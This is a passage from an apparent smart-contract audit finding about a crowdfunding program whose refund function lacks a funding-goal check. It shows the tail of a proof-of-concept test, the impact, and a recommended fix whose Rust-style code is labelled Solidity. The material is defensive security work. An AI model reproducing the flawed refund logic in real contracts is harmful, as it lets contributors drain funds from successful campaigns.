console.log("Contributor balance after refund:", balanceAfterRefund); }); ``` ## Impact - **Financial Discrepancies:**\ The improper refund mechanism result in successful campaigns losing funds that were meant to be retained by the campaign creator, leading to financial imbalances within the contract. - **Erosion of Trust:**\ Contributors and creators rely on the refund logic to be fair and accurate. The absence of a funding goal check in the refund function erode trust in the platform, as users could experience unexpected fund reversals or disputes over campaign success. - **Operational Risks:**\ Campaigns that meet their funding goals still be subject to refund requests, creating operational inefficiencies and potential disputes between creators and contributors. This undermines the intended crowdfunding model and could deter future participation. &#x20; ## Recommendations Update the refund function to include a check that verifies whether the campaign's funding goal has been met. Refunds should only be processed if both the deadline has passed and the `amount_raised` is below the `goal`.&#x20; &#x20; ```Solidity if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } if ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal { return Err(ErrorCode::CampaignSuccessful.into()); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!